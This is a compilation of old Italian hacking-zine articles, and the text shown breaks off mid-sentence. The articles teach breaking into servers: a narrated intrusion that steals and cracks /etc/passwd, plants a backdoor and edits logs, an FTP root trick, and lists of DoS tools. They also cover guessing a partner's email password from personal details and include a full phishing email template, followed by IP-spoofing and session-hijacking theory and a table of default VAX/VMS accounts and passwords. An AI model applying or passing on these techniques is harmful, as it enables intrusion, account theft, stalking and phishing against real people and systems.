Per hackerare queste ultime bisogna disporre di un programma capace di scaricare sull'hard-disk i file .htm / .html senza prima accedervi. Io consiglio GETRIGHT. Quindi andate alla mia home page, fate tasto destro su ENTER e fate copia collegamento. Ora scaricate il collegamento copiato con getright (per leggerlo fate ctrl-v, per copiarne uno usate ctrl-c). Ora che avete scaricato il file apritelo con il blocco note e leggete il codice html. Leggendo bene, anche se non conoscete l'html, troverete la password. Se per entrare nel sito con la password c'è un pulsante allora per sapere il link leggete l'html locale e poi eventualmente quello di destinazione. Ci sono dei casi in cui la password è scritta nell'html della pagina di partenza e in quel caso basta leggere l'html locale.

Parte avanzata:

Bene eccoci alla parte avanzata. Qua (almeno per me quando ho iniziato=) le cose diventano un po' più difficili. Questa parte è fatta per affinare le vostre tecniche di hacking e per permettervi di crearvi un vostro stile; ricordatevi che l'hacking è un'arte, se fatto bene, e non dev'essere trattato come uno strumento per fare il figo in mezza internet altrimenti non sarete più hacker ma la gente vi chiamerà lamer. Bene dopo una piccola cazziata cominciamo con la parte avanzata=).

Shell account:

La shell account è l'account di internet per quelli che usano linux. Da una shell account si possono eseguire i comandi principali del linux e fare alcune cose. Oltre alla shell account vi servirà un server dove potrete installarvi dei programmi dentro come S.A.T.A.N., che potete usare solamente con linux. Se agite attraverso questo server (usando telnet) e attraverso la shell account sarete molto avvantaggiati durante i vostri hackeraggi. Procurarsi una shell account è abbastanza semplice. Ci sono vari modi:

- Controllare se il vostro provider vi ha già dato una shell account. Per fare questo prendete l'ultima parte della vostra email (ad esempio lamer@iol.it prendete iol.it) e connettetevi con telnet a quel server. Usate il vostro login e password per connettervi. Se siete fortunati avete una shell account. Un'altro modo è di connettersi al vostro provider con hyper terminal che si trova in avvio - programmi - accessori - hyperterminal.

- Connettetevi al numero che usate per connettervi e usate sempre il vostro login e pass. Se vi da un prompt tipo unix allora avete una shell account. Altrimenti potete chiedere all'assistenza tecnica del vostro provider se ne avete già una
- Comprarvi una shell account. La potete richiedere in molti provider piccoli. Non chiedetela a quelli grossi perchè la shell account è lo strumento più utilizzato dagli hacker e quelli, per paura degli hacker, non ve la daranno di certo
- Hackerare una shell account. Questo è relativamente semplice, basta beccare un provider e hackerarlo. Spero che sappiate già come fare;-)
- Farvi dare una shell account da un altro hacker

Per trovare invece un server decente dove potete installare programmi grossi basta beccare un sito internet un po' piccolino (non troppo se no non hackerate un server ma una schifezza) e hackerarlo.

Exploits:

Gli exploits sono dei programmi eseguibili o compilabili scritti in C (spiego dopo..) che aiutano l'hacker ad entrare nel server, ad avere il root o a non essere beccato. Questi file alcune volte sono indispensabili durante un hackeraggio quando il server è molto ben protetto e non riuscite ad hackerarlo con le tecniche tradizionali. Gli script C e gli exploit devono essere sempre lanciati o da una shell account o dal root di un server o dal sito da hackerare. Ci sono moltissimi tipi di script C ed exploit ma i più comuni sono gli sniffer. Gli sniffer sono generalmente degli script che, se lanciati dal sito da hackerare, registrano su un file di log nascosto tutti i login e password di quelli che entrano nel server. Gli sniffer li potete trovare di vari tipi con una piccola ricerca su internet. Per compilare gli script prima si mettono sul server via ftp con il comando PUT e poi si compilano con telnet con il comando cc. Certe volte però i siti dove compilate questi script non hanno tutte le librerie necessarie (per vedere quali librerie servono guardare nel C quali "#include libreria.h" ci sono). In questo caso dovrete mettere voi stessi le librerie necessarie nel server scaricando quelle di un altro sito (con ftp comando GET) oppure compilando lo script su una shell account per C e poi uploadare il file eseguibile sul sito da hackerare e lanciarlo in background.

Denial of service:

I programmi denial of service (dos) sono quei programmi che, come dice il nome, negano un dato servizio all'utente. Si usano soprattutto durante le guerre tra hackers e crackers e certe volte danneggiano anche molte altre persone oltre a quelli che combattono. E' molto pericoloso usare questi programmi su dei server poichè essi potrebbero non gradire, loggarvi e denunciarvi al vostro provider quindi usateli con cautela. Questi sono i tipi di dos più comuni.

*Nuke:

I nukers sono dei programmi che sfruttano una vecchia bug di win95 e connettendosi alla porta 139 di un computer windows lo fanno crashare. Questi programmi non funzionano su win98, su win95 con la patch vtcpupd e su win95 con un antinuke installato.

*Flood:

I flooders sono programmi che sfruttano il PING, cioè un sistema per controllare la velocità tra due server usando la porta 0 ICMP. Quando si pinga si manda un pacchetto (un piccolo pezzo di dati) e si calcola il tempo che si impiega a riceverlo. Il flood manda enormi pacchetti di ping a grande velocità rallentando la connessione della vittima.

*Mailbomb:

I mailbomber sono dei programmi che usano tanti server per inviare mail e inviano centinaia o migliaia di mail uguali ad un indirizzo email. Questi programmi possono anche danneggiare i server utilizzati poichè li rallentano molto e riempiono i loro file di log e certe volte un server o due può crashare.

*Vari:

Ci sono molti altri tipi di dos. Alcuni di questi sono:

ICQbomb
IRCkill
PowWowflood
Ssping
Jolt
IceNuke
Bouncer
Pepsi
UDP flood
Suffer
Land
Teardrop
Bonk
Boink
NesTea
Smurf
PortFuck

Potete trovare informazioni su questi dos con qualche ricerca su internet.

Trucchetti vari:

Questi sono alcuni trucchetti che conosco. Sono pochi ma ne aggiungerò degli altri. Di solito funzionano su sistemi vecchi o deboli quindi non vi assicuro niente.

Provate il trucchetto del "quote". Connettetevi via ftp al server da hackerare. Quando vi chiede login e pass premete sempre invio. Poi scrivete:

```
> quote user ftp
User OK send password.
>quote cwd ~root
...
>quote pass ftp
```

Avrete il root

Provate il trucchetto del frontpage. Se nel sistema è installato frontpage prendete il .pwd nella directory del fp. Conterrà la password criptata in DES (se quella del root è shadowata può servire)

File di LOG:

I file di log sono i file dove vengono registrati alcune o tutte le attività nel server. I file di log che interessano agli hacker sono quelli dove vengono registrati i login falliti, upload di file e log che potrebbero far scoprire al sysop la vostra presenza.
I file di log più comuni sono:

/usr/adm/sulog o /usr/adm/su_log
/usr/adm/loginlog o /usr/adm/acct/loginlog
/usr/adm/errlog
/usr/adm/culog

Ricordate di EDITARE questi file NON di cancellarli.

S.A.T.A.N.:

Il S.A.T.A.N. (Security Administration Tool for Analyzing Networks) è un programma che gira sotto unix con perl 5 che scannerizza un network cercando di trovare delle falle e dei bug. E' provvisto di un grosso manuale in html quindi non perdo tempo a spiegarvi come si usa. Bisogna usare una shell account o un server per lanciarlo e richiede una buona velocità di connessione. Per controllare se un server è stato attaccato dal SATAN si possono usare due programmi, il gabriel e il courtney. In teoria questo programma servirebbe a controllare la propria rete e a correggere le aperture che il satan trova. Ma sono sicuro che troverete un altro modo d'uso per questo simpatico prog=). Per trovarlo basta fare una piccola ricerca, di solito il file che lo contiene si chiama satan-1.1.1.tar.Z.

Port surfing:

Il port surfing è una tecnica di penetrazione dei sistemi. Consiste nel fare un portscan (spiego dopo) ad un server e di provare ad acquisire più informazioni possibili da ogni porta che risulta aperta. Il portscanner si può trovare sempre con una piccola ricerca, il mio portscanner preferito è il 7th Sphere Portscan, molto veloce. Il portscanner si connette a tutte le porte una ad una dalla porta 0 alla 65536 e ti avverte quando una porta è aperta. In questo modo tu puoi sapere tutte le porte aperte ed eventualmente segrete in un server e connetterti cercando informazioni. Ad esempio mi è capitato una volta che stavo facendo un portscan su un server e ho trovato una porta aperta con valore molto elevato, intorno a 30000. Mi sono connesso a quella porta (con telnet specificando il numero quando fai connetti - sistema remoto) e ho provato a scrivere le cose più comuni, tipo HELP, HELO, HELLO, LOGIN. Ho provato root e puf mi ha dato la password. Schifo di server eh? Non vi assicuro che succeda anche a voi cmq. Questo è stato un colpo di fortuna.

Tutorial:

Eccoci alla parte che tutti aspettavate. Il TUTORIAL. Per quelli che non sanno cos'è, il tutorial è una specie di lezione "guidata". In questo caso è un hackeraggio guidato. Naturalmente userò un server inesistente perchè il vostro primo hack dovrete farlo VOI. Cominciamo:

Sono su irc, un amico hacker comincia a rompere che la sua home page è troppo figa etc. Mi viene un'idea di fargli uno scherzetto e visito la sua pagina. Carina sì...facciamo sto scherzo=). Sarebbe bello rinominare index.html in index2.html e metterci un nuovo index.html con scritto "QUESTA PAGINA E' STATA HACKERATA DA KALIDOR - CLICCA QUI PER ENTRARE" o qualcosa di simile. Beh vediamo l'url:

http://www.sardine.com/scatola/index.html

Vediamo un po se esiste sardine.com. Faccio il ping...l'host non esiste. Vuol dire che devo hackerare www.sardine.com. Fingeriamo...

No one connected now.

Vuol dire che non c'è nessuno. Beh proviamo a fingerare sardine.

Login Name TTY Idle When Where

sardine   SardineWEB   pts/18   <Sep 1 17:30>   maiden

Bene c'è. Facciamo un po di whois...niente whois. Portscan...porte normali, le solite 21, 23, 25, 79, 80, 110. Ok apriamo ftp.

>Open
(to)www.sardine.com

Connected to www.sardine.com. Ftp version 2.0 on www.sardine.com.
Login:

Mah proviamo sardine no?

Login: sardine
Password:

Beh..proviamoooo......."sardine"! =)

Password:

(Naturalmente non si vede ma li ho scritto sardine).

Login incorrect. Login failed.
>

Azzo. Sbagliato. Beh proviamo il trucco del quote.

>quote user ftp
User name OK send password.
>quote cwd ~root
Please login with USER and PASS

Ok se dice quello il trucco non funziona. Hmm...proviamo maiden...c'era scritto nel finger.

>user sardine
User name OK send password.
            Password:
User sardine logged in. Last login <Sep 1 17:30>.
>

MITICO! SONO ENTRATO. Ora chessifa?

>pwd
Current directory is /
>cd etc
>get passwd
Open ASCII mode data connection for /bin/ls
Tranfer complete. Recieved 9345 bytes in 2.3 seconds.
>

Ok vediamo un po sto passwd file. Apro... AZZ CI SONO 150 LOGIN TUTTI CRIPTATI DES!!! E ANCHE IL ROOT E' CRIPTATO DES. MITICO!!!

>bye
Goodbye.

Ok prendiamo John The Ripper. Proviamo tutto.

john -single passwd
john -wordlist password.txt -rules passwd
john -i:alpha passwd
john -i:digits passwd
john -i passwd

A questo punto abbiamo 138 login..così dice il john...vediamo un po. Quello che all'inizio ci interessava, scatola non l'abbiamo..vabbè. Cerchiamo un po root...il codice è Ko./GkA9YUfFA ... ROOT! ECCOLO!

Ko./GkA9YUfFA:alskdjfh

A noi! Connettiamoci con telnet...editiamo il password file e aggiungiamo una backdoor...ci togliamo dai log file...unshadowiamo i login che erano shadowati...
Ora possiamo giocherellare con la pagina del mio amico e in più abbiamo un bel server tutto nostro..slurp. Ricordiamoci però di non modificare niente altro...e ricordiamoci che il sito del tizio che hackeriamo è di uno che sa stare agli scherzi...cioè non dirà a quelli del provider che la sua pagina è stata hackerata. Se no vi beccano...capito?

Conclusione:

La guida è finita. Sigh. Vabbè cmq se l'avete letta tutta vi aspettano molte giornate & nottate divertenti di hackeraggi...capirete ben presto quanto sia bello e imparerete moltissime cose. Magari scriverete anche voi una guida ancora migliore della mia...non si sa mai=). Spero che vi sia piaciuta e gradirei molto qualche mail..kalidor@tin.it. Se sono mailbomb o flames mandateli a dev/null@tin.it (dev/null è il posto dove vengono conservati gli archivi vecchi destinati a perdersi nel tempo). Contattatemi anche con ICQ il mio uin è 7874185. Mi trovate a chattare su kali in Tin Kali Server con il nickname Kalidor~HCK~NWB e su IRC con il nick Kalidor e lo spoof su ~KaLiDoR~ (vi spiegherò un giorno o l'altro cos'è lo spoof).
Ricordatevi di visitare la mia homepage a http://kalidor.tsx.org
Lì troverete tutto ciò di cui avrete bisogno. Grazie di aver letto la mia guida e HAPPY HACKING!!!! HACK THE WORLD!!!!!!!!

Come rubare le password.. Senza fare niente di illegale ;-)

Autore: Screener_it
email: screener_it@freemail.it
web site: http://go.to/tankcommandos
colonna sonora: Californication - Red Hot Chili Peppers

Premetto che questo articolo per molti potrà sembrare di stampo lamer..
E onestamente a me di questi altri non me ne frega un cazzo !!!!

/\
+++
++++++++++++
\/

Allora.. Ora veniamo a un giochino molto, ma molto, anzi MOLTO divertente..
Rubare password senza dover usare programmi particolari, exploit, et simili..
Niente. Basandoci unicamente sulla nostra fortuna.. E' possibile ? CERTO CHE
E' POSSIBILE !!!!!!!!!!!!!!!!!! (altrimenti non sarei qua a scrivere questo
articolo della minchia).
Mettiamo subito in chiaro che quanto detto in questo articolo non è teorico,
ma è provato e dimostrato scientificamente...
Allora, cominciamo..
Quando dobbiamo fare una casella email, fare un abbonamento a internet,
aprire un sito presso xoom, tripod, ecc.., nel 99 % dei casi dobbiamo
scegliere noi la password... L'utente medio di computer è piuttosto
rincoglionito e quando deve scegliere una password sceglie qualcosa
di facile da ricordare.. Altrimenti come farebbe se dovesse dimenticarsi
la password ? Dovrebbe rifare l'abbonamento a internet, non potrebbe più
aprire la sua casella mail..
Per questo l'utente medio sceglie password BREVI E MOLTO SEMPLICI.
Facendo un breve schema dell'utente potete scoprire la sua password..
Esempio.
La vostra ragazza ha una casella email tipo roberta@yahoo.it (email a
caso, non so se esiste).
Allora, fatevi un bello schema, tipo questo.

Nome: Roberta
Cognome: Verdi
Data di nascita: 04/05/76
Residenza: Gallarate
Nata a: Milano
colore capelli: marron
colore occhi: azzurri
soprannomi: roby, Rob, ecc..
fidanzati: Andrea, Marco, ecc..

Andate alla pagina http://mail.yahoo.it , nel nome utente scrivete roberta
(il nome utente di una casella email è nel 99,9 % è la parte prima dell' @..)
e cominciate a provare le password.. roberta, roberta76, robverdi, verdi,
verdi76, verdiroberta, robertaverdi, ecc...
Provate varie combinazioni e a meno che l'utente non sia un genio la
troverete entro 15 minuti..

Altro esempio:
Mettiamo caso che io vogli rubare la password di un sito di xoom.com ...
Mettiamo esempio che il sito abbia indirizzo http://members.xoom.com/andrea/
(sito a caso, non so nemmeno se esiste..
Visitiamo il sito.. Di sicuro il webmaster non avrà resistito alla tentazione

di mettere una pagina dedicata a lui, con il suo nome, i suoi hobby, la sua
età, magari la sua foto..
Guardiamo la foto del poveretto che stiamo per colpire e prendiamo carta e
penna...
Dal sito prendiamo le informazioni su di lui (come abbiamo fatto su Roberta):

Nome: Andrea
Cognome: Rossi
Data di nascita: 04/05/76
Residenza: Latina
Nata a: Roma
colore capelli: marron
colore occhi: azzurri
soprannomi: andry, ecc..
squadra del cuore: Lazio, Roma, ecc...
giocatore preferito: Nedved (mitico !!), Totti, ecc..

Prendiamo il nostro bel FTP,
indirizzo: ftp.xoom.com
nome utente: andrea (dall'indirizzo http://members.xoom.com/andrea/, il nome
utente è la parte non standard.. Es. members.tripod.com/ciao/ nome utente:
ciao, http://utenti.tripod.it/marco nome utente: marco).
Password: andrea, rossi, andrearossi, rossiandrea, andrea76, rossi76, nedved,
totti, ecc..
Nel giro di altri 15 minuti se il webmaster è scemo (meglio: rientra nella
media) avrete trovato la password...

Un consiglio: fatelo solo se avete un motivo, se volete controllare la posta
della vostra ragazza (per sapere cosa pensa di voi), se una pagina internet
vi ha scandalizzato o và contro i vostri principi morali... Non fatelo per
il gusto di farvi vedere, altrimenti sarete etichettati come lamer (ma in
fin conti.. Ce ne frega di cosa pensano gli altri di noi o di cosa pensiamo
noi ?).
Un ultima cosa: in genere io dopo che ho scoperto una password e mi sono
divertito un po' comunico a chi ho fregato la password che la sua pass è
troppo semplice e gli conviene cambiarla... Un po' di correttezza ragazzi !!

Un ultima cosa... Questo articolo diceva: rubare le pass senza fare nulla
di illegale.. Ma trovare la password, anche sparando a caso, è sempre
reato... E allora ?
Dovete avere l'accortezza di crearvi un sito web o una casella mail simile
a quella di cui volete rubare la pass..
Se avete una casella come roberta1@yahoo.it potete sempre dire di essere
entrati per sbaglio nella casella roberta@yahoo.it (che guarda caso ha la
stessa password..). Stessa cosa per il sito web.. Se volete entrare in un
sito tipo members.xoom.com/andrea fatevi un sito tipo members.xoom.it/andrea
oppure members.xoom.com/andreaa. Capito ?
Così diventa TUTTO legale.. Dovete solo ricordarvi di dire che vi siete
sbagliati.

Sempre avanti ragazzi !!!! Non saranno l'FBI, la CIA, o la MICROSOFT a
fermarci,(ma la guardia di finanza :-)

*/\
*\/

C'è un altro modo che funziona, ma è già più difficile che qualcuno ci
caschi..Cmq molti ci cascano, parola di Screener_it..

Basta che vi creiate una casella email che faccia sembrare che siate
responsabili di xoom, tripod, yahoo o altro tipo:
xoom@technologist.com ; yahoo@programmamer.com ; libero@usa.net ; ecc..
Scrivete una mail alla vostra vittima dicendo che ci sono problemi con
la sua email o con il suo sito e che deve darvi la sua password.
Esempio:

"Buongiorno caro utente,
ultimamente, come forse ti sarai accorto, il nostro servizio è diventato
più lento, a causa dei lavori di aggiornamento di tutto il nostro software.
Proprio a causa del cambio software dobbiamo inserire tutti i dati nei
nuovi programmi e ci serve anche il tuo aiuto.
Rispondi a questa mail scrivendo nell'oggetto "Conferma account" e
mettendo nel corpo della lettera il tuo ID e sotto la password. Il
computer ti aggiungerà in modo automatico all'elenco dei dati.
Se non farai questo entro 1 settimana è possibile che il computer cancelli
il tuo sito (o la casella email.. A seconda di che password volete fregare)
e tutto il tuo lavoro.. Quindi affrettati !!!

Lo staff di xoom (o Tripod, o yahoo, ecc..)"

Ora, voi direte: ma chi vuoi che sia così scemo da spedire le password
via email ? Tanti !! Tanto per farvi un esempio un po' di tempo fa mi è
arrivata l'email di un certo infostrada-clienti@iname.com che invitava
a spedire una copia della sua email, inserendo l'indirizzo
infostrada-clienti@iname.com tra i destinatari. In questo modo
infostrada-clienti@iname.com si è ritrovato con centinaia di indirizzi
email, da usare per fare spam e altro !!! E tanti ci sono cascati e
mandavano in giro 'sta mail.
Al che io mi sono incazzato (gli spammer mi stanno proprio sulle palle)
e ho denunciato infostrada-clienti@iname.com presso la vera Infostrada.
Chissà perchè ma non l'ho più sentito..

Screener_it

1) Basi dell’Ip Spoofing e del Hijacking (by InfectedMachine)

L’ip spoofing e’ una tecnica mediante la quale si riesce ad ottenere un accesso con pieni privilegi (SuperUser level o root) ad un terminale modificando la serie di pacchetti di informazioni ip che partono ed arrivano da un computer al momento della connessione.

L’ip spoofing e’ possibile quando i pacchetti di informazioni viaggiano sullo stesso network e non escono mai all’esterno (anche se vi sono alcune eccezioni).

Un collegamento base (telnet, web, ftp, ecc.) tra due computer collegati ad internet funziona tramite lo scambio di pacchetti di informazioni IP che confermano la provenienza e la destinazione di un terminale. Un ipotetico computer A manda un messaggio SYN (SYnchronize sequence Number) e una serie iniziale di numeri, chiamata ISNa, al server B richiedendo il collegamento alla rsh (remote shell) o a qualche altro servizio remoto (tanto per citarne uno, rlogin porta TCP 513). Il server B risponde ad A con un pacchetto di informazioni SYN, ISNb (l’Initial Sequence Number di B) e un ACK (ACKnowledge) che contiene l’ISNa aumentato di 1 per poter cosi’ capire che i dati stanno andando nella giusta direzione.

Il computer A conclude inviando l’ACK contenente l’ISNb.

Schematizzando:

A...B: SYN, ISNa

B...A: SYN, ISNb, ACK(ISNa+1)

A...B: ACK(ISNb)

Questo tipo di connessione e’ chiamata in inglese 3-way handshake. Gli Initial Sequence Number sono dei numeri a caso che incrementano il loro valore di 128 ogni secondo e di 64 ogni nuova connessione. Quindi se si apre un collegamento ad una macchina si puo’ anche sapere quale sara’ la sequenza successiva.

Il SYN ha il solo scopo di chiedere la connessione al sistema B in modo che questo possa controllare i

numeri iniziali mandati da A e far partire la sua sequenza di login.

Torniamo a noi:

L'hacker C prima di tutto deve aprire una connessione con il bersaglio (in questo caso B) alla porta per la posta elettronica (porta 25) o alla TCP echo port (porta 7); questo da' l'ISNb.

Poi C impersona A e manda una serie di richieste di connessione:

©A...B: SYN

©A...B: SYN

©A...B: SYN

©A...B: SYN

©A...B: SYN

©A...B: SYN

©A...B: SYN

©A...B: SYN

B risponde ai vari SYN di C credendo di mandare i messaggi ad A:

B...©A: SYN, ISNb

B...©A: SYN, ISNb

B...©A: SYN, ISNb

ecc...

Cosi' facendo si concede ad "A" di entrare.

Da questo momento tutte le future connessioni con quella porta TCP verranno ignorate a causa dell'afflusso delle connessioni mandate da C. ©A...B: ACK(ISNb) usando l'ISN aumentato come abbiamo visto prima. C non vede nessuna risposta da parte di B poiche' quest'ultimo le spedisce ad A.

Se tutto e' andato bene lo rsh server di B pensando di connettere A, da' libero accesso a C.

Per fare credere a B di essere A bisogna che quest’ultimo non sia collegato per poi, cosi’, prenderne il posto.

I messaggi ip, inoltre, devono essere modificati in maniera tale che la risposta di B non arrivi ad alcun host poiche’ quest’ultimo potrebbe mandare indietro un messaggio RST (reset) che annullerebbe la connessione.

Ricordate:

Nessun pacchetto di informazioni deve tornare indietro a voi in alcun modo!

I servizi vulnerabili all’ip spoofing sono i seguenti:

SunRPC & NFS

I comandi remoti del BSD Unix (rlogin o rsh ad esempio)

X Windows

Firewalls basati sul filtraggio dei routers se il router non e’ configurato per bloccare i pacchetti provenienti dal un dominio locale.

Alla fine, le cose che vi servono per poter sfruttare questa tecnica sono:

L’host bersaglio;

L’host a cui "devono arrivare" i messaggi mandati dal bersaglio (quello,cioe’, che dovete impersonare);

L’host dal quale attaccate (dovete essere root qua!);

Un software per l’ip spoofing (vedi alla fine di questo articolo).

Sotto riporto lo schema di un pacchetto di informazioni ip:

4-bit | 4-bit | 8-bit | 16-bit |

| Lunghezza | Tipo di | Lunghezza |

Versione | Intestazione | Servizio | Totale |

---|

16-bit | 3-bit | 13-bit |

| | Variabili di |

Identificazione | Flags | Frammento |

---|

8-bit | 8-bit | 16-bit |

Tempo da | | |

"Vivere" | Protocollo | Controllo Intestazione |

---|

32-bit |

|

Indirizzo di provenienza |

---|

32-bit |

|

Indirizzo di destinazione |

---|

Opzioni (se ci sono) |

|

---|

|

Dati (di lunghezza variabile) |

____
___________|

I numeri a 32bit indicati come Indirizzo di provenienza e di destinazione sono i due piu' importanti dati nel pacchetto IP e sono alla sua testa. Piccola nota: Il tempo da "vivere" (detto anche TTL= Time To Live)

indica il numero di salti di router che un pacchetto IP puo’ fare prima di essere scaricato definitivamente dalla rete.

Una volta che si e’ ottenuto il controllo del terminale B, e’ possibile accedere ai collegamenti remoti che sono connessi a quel terminale.

Riporto in seguito anche lo schema per un segmento di informazioni TCP:

16-bit | 16-bit |

| Porta di |

Porta di provenienza | Destinazione |

---|

32-bit |

|

Sequenza di numeri |

---|

32-bit |

|

Numeri di indentificazione |

---|

4-bit | 6-bit | 6-bit | 16-bit |

Lunghezza | Riservato| Flags | Grandezza |

Intestazione | | | Finestra |

---|

16-bit | 16-bit |

Controllo del TCP | Indice |

| Urgente |

---|

Opzioni (se ci sono) |

---|

|

Dati (di lunghezza variabile) se ci sono |

____
______________|

Per poter effettuare questo tipo di attacco dovete conoscere bene i computer connessi a quello che volete attaccare per poterne prendere il posto e "fregare" il vostro bersaglio.

Quindi prima di attaccare un computer (e questo vale come regola generale) scoprite tutte le informazioni possibili legate a lui, alla rete e a quelli che ne fanno parte con comandi come:

finger

who

rwho

rpcinfo

showmount

Una volta connessi al sistema potete (ma dovete intendervi parecchio di unix) utilizzare un’altra tecnica chiamata Hijacking che permetterebbe, modificando il kernel del computer sul quale siete entrati, di chiudere tutte i possibili tentativi di connessione al sistema.

Per quanto riguarda l’hijacking del sistema ci sono da dire alcune cose:

Per effettuare questo tipo di attacco bisogna possedere un tool (attrezzo), programma, chiamato "tap" in grado di prendere il controllo delle connessioni esistenti su di un sistema.

Questo programma (che va’ a modificare il kernel del computer bersaglio) permette agli intrusi, con privilegi di root, di guadagnare il possesso di qualsiasi

connessione esistente sul sistema bersaglio permettendo all’intruso di utilizzare comandi come se fosse lui il proprietario di quella connessione.

Se uno user ha effettuaro un rlogin o un telnet ad un altro sistema, l’hacker puo’ guadagnare accesso a quel sistema evitando le solite procedure di identificazione.

Attualmente il solo "tap" program conosciuto colpisce il sistema

SunOS 4.1.x

Piccola spiegazione dei termini:

ACK=ACKNOWLEDGE=Riconoscimento

SYN=Synchronize sequence Number=Numeri di sequenza sincronizzati. ISN (o ISS)=Initial Sequence Number (Initial Send Sequence)=Sequenza di trasmissione iniziale.

Queste sono le basi iniziali dell’ip spoofing che, comunque, non servono a nulla senza un po’ di studio personale.

Per poter specializzarvi in questo argomento vi consiglio di leggere prima di tutto un buon libro sul protocollo tcp/ip e sul funzionamento delle reti poi, dopo aver appreso i vari procedimenti attuati nelle connessioni fra i computer, approfonfite l’argomento con i testi sull’ip spoofing reperibili un po’ ovunque sulla rete con poche e semplici ricerche.

Se volete comunque passare dalle parole ai fatti, vi conviene provare ad entrare nel computer di qualcuno che conoscete (magari un sysop vostro amico) per poter fare un po’ di esperienza e correre pochi rischi...almeno all’inizio...

Nota sull’ip spoofing:

Girovagando per la rete sono venuto in possesso di un programma chiamato neptune.c (scaricabile dal file di Phrack Volume 7, Issue 48, File 13 di 18) che servirebbe a svolgere l’ip spoofing al posto nostro richiedendoci solamente alcune info prima di partire. Non ho ancora verificato l’effettiva utilita’ di questo programma ma ritengo che Phrack sia piu’ che affidabile come fonte di informazioni.

VAX/VMS (by InfectedMachine)

Da questo numero vorrei trattare la descrizione (piu' approfondita che
posso) dei sistemi operativi sparsi in giro per la rete e che magari vi e'
capitato piu' volte di incontrare.
Vedro' di spiegare quanto meglio posso il sistema e la sua storia. Le nozioni
sul suo uso ed infine le tecniche per potervi accedere.
Allora partiamo subito col dire una cosa:
Se volete hackerare un VAX o siete veramente bravi (e quindi non credo che
vi interessi questo mio articolo) oppure avete un forte motivo per farlo.
Se siete alle prime armi NON avvicinatevi a questo tipo di sistema poiche'
e' considerato il piu' sicuro che ci sia in giro.
Detto questo, inizio con un breve accenno di storia sul VAX/VMS.
Il computer VAX, la cui sigla significa Virtual Address eXtension e' stato
creato dai tecnici della Digital Equipment Corporation (DEC).
Ci sono vari modelli di questo computer: dal piu' vecchio MicroVax, alla
serie 11/7XX per finire alla serie 6000.
Purtroppo sono rimasto a questa serie e non so' se ne e' uscita una nuova.
Perdonatemi.
Il computer VAX usa, solitamente, un sistema operativo chiamato VMS.
VMS sta per Virtual Memory System. Sempre creato dalla DEC questo sistema
e' molto pratico per quanto riguarda la sicurezza di un terminale in quanto
e' molto piu' flessibile di sistemi come lo unix o il dos.
Il VMS utilizza un linguaggio chiamato DCL, ovvero Digital Command Language
ed e' stato creato utilizzando due linguaggi di programmazione cioe' il
BLISS-32 e il FORTRAN.
Per fare un esempio lo si puo' paragonare al linguaggio batch del dos o allo
script dello unix ma con alcune differenze.
Una di queste e' che quando si vuole far partire un programma dal prompt
bisogna mettere un $ davanti al comando.
In genere i programmi del DCL sono comunemente chiamati COM file.
Tutte le procedure di login su questo sistema possono essere eseguite in
una di queste due modalita':
1) Interattiva;
2) Non interattiva.
Il primo metodo significa che lo user deve eseguire alcune istruzioni
(login, password) che il terminale gli invia per poter cosi' accedere
alle sue funzioni.
Esempio di questo primo metodo sono l'accesso locale (quando si e'
connessi direttamente al processore del computer); attraverso linee
telefoniche o da un nodo remoto di una rete.
Il secondo metodo, ovviamente, significa che lo user deve solo attendere
che il software lo colleghi senza dover far nulla poiche' a tutte le
procedure pensa il computer.
Alcuni esempi possono essere attraverso network; tramite un batch login
che e' un processo iniziato da uno user e che sta attualmente girando
sulla macchina oppure tramite un sottoprocesso che e' fatto partire da
uno user ed e' il risultato di un comando del sistema o di un servizio
di quest'ultimo.
Qui di seguito riporto (presi da varie riviste sparse per la rete, prima
di queste la LOD) le password e gli account piu' comuni per questo

tipo di sistema:

ACCOUNT	PASSWORD
RJE	RJE
HOST	HOST
LINK	LINK
INFO	INFO
BACKUP	BACKUP
NETWORK	NETWORK
DECMAIL	DECMAIL
HELPDESK	HELPDESK
REPORT	REPORT
REPORTS	REPORTS
DECNET	DECNET
DEFAULT	DEFAULT
DEMO	DEMO (o privo di password)
FIELD	FIELD, SERVICE
GUEST	GUEST (o privo di password)
OPERATOR	OPERATOR
OPERATIONS	OPERATIONS
SYSMAINT	SYSMAINT, SERVICE, DIGITAL
SYSTEM	SYSTEM, MANAGER, OPERATOR, SYSLIB
SYSTEST	UETP, SYSTEST
SYSTEST_CLIG	CLIG, SYSTEST, TEST
SUPPORT	SUPPORT, DEC

Una possibile schermata di login puo' essere questa:

```
**********************************************************************

             WELCOME TO THE
         AT&T MICROVAX II SYSTEM

Username:
Password:
```

Dopo averli inseriti puo' apparire:

```
Last interactive login on Wednesday, 01-JUN-1996 10:20.11
Last noninteractive login on Friday, 30-MAY-1996 15:38.27
2 failures since last successful login
You have 1 new mail messagge

$ ( questo e' il simbolo del prompt dei comandi )
```

Come si puo' benissimo vedere dallo schema che ho riportato sopra, il
VAX registra i tentativi falliti di login e li comunica all'utente
quando effettua il primo login corretto (comunque ne parlaremo anche
dopo).

Comandi del VAX/VMS:

Di seguito riporto i comandi piu' utilizzati in questo sistema.

@: Esegue un programma. Se si vuole eseguire un file .com bisogna mettere
davanti ad esso un @. Ad esempio: @LOGIN.COM;3
ACCOUNTING: Questo comando fa' partire il programma accounting che serve
per vedere quanto sei stato online.
CREATE: Compilatore Pascal. Usare: CREATE nomefile.pas
CREATE/DIR: Crea sottodirectory.
DELETE: Questo comando e' usato per cancellare file o per cancellare
directory vuote e non protette. Per cancellare un file usa il comando
DEL filename.ext;x. Per cancellare una directory prima bisogna
cancellare tutti i file presenti in essa (DEL/LOG *.*:*) poi
bisogna settare la protezione (SET PROTECTION):
SET PROTECTION=OWNER:D nomedirectory.DIR poi cancellare la
directory DEL nomedirectory.DIR.
DIR (DIRECTORY): Questo comando ti permette di vedere quali file sono
contenuti in una directory (vedi dir per dos o ls per unix).
Con /BRIEF si otterra' una piccola lista mentre con /FULL si
vedra' il contenuto completo della directory.
Esempio: DIR/FULL PIPPO-%%.*;%
Il carattere % serve ad indicare un qualsiasi carattere mentre * indica
una qualsiasi cosa.
EDIT: editor VMS.
HELP: Ti fornisce il programma degli aiuti (che tra l'altro sono
tra i migliori esistenti al mondo).
LIBRARY: Usato per scopi di archiviazione.
LOGOUT: Disconnette dal sistema.
MAIL: Carica il programma per la posta elettronica.
$PASSWORD: Cambia la propria password. Esempio: $PASSWORD nuovapassword.
PHONE: Usato per parlare con un altro utente. Per parlare con uno user
bisogna digitare il suo nome.
PHOTO: Registra una sessione.
RUN: Lancia un eseguibile.
SET: Vedi oltre.
SHOW: Show puo' mostrare molte cose e la sintassi e' come in questo
